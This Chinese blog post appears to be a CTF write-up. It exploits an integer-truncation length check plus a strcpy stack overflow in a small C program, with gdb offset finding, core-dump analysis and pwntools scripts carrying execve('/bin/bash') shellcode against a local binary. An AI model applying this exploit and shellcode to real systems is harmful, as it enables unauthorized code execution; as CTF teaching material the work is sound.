0x00 整数溢出基础
相关知识详见上篇博客。
0x01 全球某工商的ctf网站上的ctf题
这是一道很简单的关于栈溢出与整数溢出漏洞利用,题目附有源码如下:
void flow(char* input)
{
char passwd_buf[11];
unsigned char passwd_len = strlen(input);
if(passwd_len>=4&&passwd_len<=8)
{
printf("Valid Password\n");
strcpy(passwd_buf,input);
}
else{
printf("Invalid Password\n");
}
}
int main()
{
char input[1024];
gets(input);
flow(input);
return 0;
}
从上面的代码里面可以看出的一个简单的整数溢出里面的截断问题,假如我们输入的input的长度是大于260小于264,就可以绕过if语句的长度检查,进而去利用栈溢出漏洞。
拿到出程序,利用gdb进行调试,使用pattern生成一串随机字符串进行验证
从上面我们可以找出内存出错的地址是0x44414128,然后再使用pattern计算出PC返回值的覆盖点为24个字节,也就是栈帧的大小是24个字节,结合上面需要绕过if验证,可以构建payload如下:
payload='a'*24+ret+shellcode
生成一段shellcode,然后缺少的就还有shellcode的返回地址没有确定。
先不管shellcode的返回地址,写一个大概的exp如下:
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
p = process('./pwn0')
ret = 0xffffffff
payload = 'a'*24+p32(ret)+shellcode +'b'*(261-28-len(shellcode))
p.send(payload)
p.interactive()
开启核心转储(core dump),也就是在程序运行出现异常或者异常退出,有操作系统把程序当前的内存状况存储到一个core文件。然后运行脚本,在获取shell失败后在tmp目录下多出的core文件;
在使用gdb对其进行调试,找出shellcode的返回地址,修改形成最终的exp:
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
p = process('./pwn0')
ret = 0xffffcff0
payload = 'a'*24+p32(ret)+shellcode +'b'*(261-28-len(shellcode))
p.send(payload)
p.interactive()
运行成功获取shell。